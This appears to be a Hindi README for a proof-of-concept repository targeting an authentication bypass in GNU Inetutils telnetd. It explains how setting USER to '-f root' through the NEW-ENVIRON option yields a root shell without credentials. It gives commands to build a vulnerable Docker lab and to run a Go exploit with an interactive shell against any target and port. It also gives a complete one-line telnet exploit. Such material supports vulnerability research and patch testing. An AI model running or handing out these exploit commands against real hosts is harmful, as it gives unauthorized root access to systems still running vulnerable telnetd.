
GNU Inetutils telnetd रिमोट प्रमाणीकरण बायपास
गंभीरता से, 2026 में telnet? चलो दोस्तों, अब आगे बढ़ने का समय आ गया है। SSH 1995 से मौजूद है। 🤦
GNU Inetutils telnetd में एक गंभीर प्रमाणीकरण बायपास भेद्यता जो संस्करण 1.9.3 से 2.7 को प्रभावित करती है।
यह भेद्यता login(1) में दुर्भावनापूर्ण तर्क इंजेक्ट करने के लिए NEW-ENVIRON telnet विकल्प का शोषण करती है। telnet प्रोटोकॉल के माध्यम से USER=-f root सेट करके, एक हमलावर प्रमाणीकरण को बायपास कर सकता है और बिना क्रेडेंशियल के रूट शेल प्राप्त कर सकता है।
telnet प्रोटोकॉल NEW-ENVIRON विकल्प (RFC 1572) का समर्थन करता है जो क्लाइंट को सर्वर पर पर्यावरण चर भेजने की अनुमति देता है। telnetd डेमॉन USER चर को login(1) में एक तर्क के रूप में पास करता है।
USER=-f root भेजने पर, मान की व्याख्या इस प्रकार की जाती है:
-f फ्लैग: प्रमाणीकरण छोड़ें (विश्वसनीय होस्ट)root: लक्षित उपयोगकर्ताइससे login -f root निष्पादित होता है, जो तत्काल रूट एक्सेस प्रदान करता है।
PoC IAC WILL ECHO (0xff 0xfb 0x01) की जाँच करके सफल शोषण का पता लगाता है - यह प्रोटोकॉल सिग्नल है जो सर्वर शेल एक्सेस दिए जाने पर भेजता है।
# भेद्य telnetd कंटेनर बनाएं और चलाएं
docker compose up --build -d
# शोषण का परीक्षण करें
go run poc.go 127.0.0.1 2323
# Go PoC का उपयोग करके (इंटरैक्टिव शेल के साथ)
go run poc.go <target> <port>
# मानक telnet क्लाइंट का उपयोग करके सरल PoC
env USER='-f root' telnet -a <target> <port>
poc.go - इंटरैक्टिव शेल के साथ Go शोषणDockerfile - भेद्य telnetd कंटेनरdocker-compose.yml - लैब ऑर्केस्ट्रेशन